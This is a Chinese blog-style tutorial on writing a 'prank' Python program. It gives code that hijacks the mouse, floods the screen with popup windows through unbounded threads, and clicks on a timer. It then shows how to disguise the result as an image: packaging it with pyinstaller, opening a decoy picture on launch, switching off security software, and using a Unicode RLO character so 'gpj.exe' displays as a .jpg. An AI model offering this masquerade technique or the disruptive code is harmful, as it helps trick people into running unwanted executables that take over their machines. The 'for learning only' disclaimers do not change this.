今天给大家展现一个不一样的我——一个干坏事的我,我们一起来制作一个简易恶作剧小程序,虽说是一个恶作剧,但是不传染,甚至可以在实体机中运行,安全无害。
此程序仅供学习,请勿用于不法之途。
开始写代码!
请注意:害人之心不可有,防人之心不可无。万万不可将下面的代码用于不法之途,以下代码仅用于学习交流!
如何操作
先写代码
创建一个空白的python
文档,命名为program.py
,输入以下代码:
from autopy import mouse
from tkinter import Tk
from random import randint
window = Tk()
window.withdraw()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
while True:
try:
mouseX = randint(0,width)
mouseY = randint(0,height)
mouse.move(mouseX,mouseY)
except:
pass
只有十八行代码,但是可以让鼠标随机闪现,无法控制。
或者这个代码(参考到了《用python实现祝福弹窗》):
from tkinter import Tk,Label
from random import randint
from threading import Thread
def create():
window = Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
x = randint(0,width)
y = randint(0,height)
window.title('中病毒快乐')
window.geometry("200x50" + "+" + str(x) + "+" + str(y))
Label(window,text = '中病毒快乐!',bg = 'red',font = ('楷体', 17),width = 15, height = 2).pack()
window.mainloop()
threads = []
record = 0
while True:
t = Thread(target = create)
threads.append(t)
threads[record].start()
record += 1
二十二行代码,不一会让你的电脑铺满窗口。
这段代码也可以:
from autopy import mouse
from random import randint
from time import sleep
seconds = randint(1,600) #随机设定一个区间,你可以修改
while True:
try:
mouse.smooth_move(seconds,0)
mouse.click()
mouse.toggle(True)
mouse.toggle(False)
sleep(seconds)
except Exception as e:
pass
破解方法
①重启电脑;
②打开命令提示符后输入taskkill /im python.exe /f
,同样都可以结束。如果你的程序已经打包,那么代码写成taskkill /im 你的程序名称.exe /f
即可。
打包、伪装
第一件事
我们随便从网上下载一张图片吧,随便一张,比如说这个(来自360图片
):
下载下来后,将.png
图片命名为image.png
,图标命名为icon.ico
,我们打开图标转换器,改为图标,两个文件都保存好。
创建一个文件夹,命名为build
,将image.png
剪切进去。
第二件事
我们要先改下代码,加几行:
from os import system
system(r'call "build\image.png"')
第三件事
打开命令提示符,切换到当前目录,输入以下代码:
pyinstaller -F program.py -w -i icon.ico
打包完成后,我们将应用程序剪切出来。注意,我们需要关掉所有的安全软件,改一下程序的名称:
注意要选中完整的文件名称,包含拓展名,统统删掉,然后插入Unicode
控制字符,选择里面的RLO
一项,按照高亮的步骤操作,输入gpj.exe
即可。
只要对方不打开属性看,就很难发现这是一个应用程序。
还是那句话,不要用于不法之途,仅供学习讨论。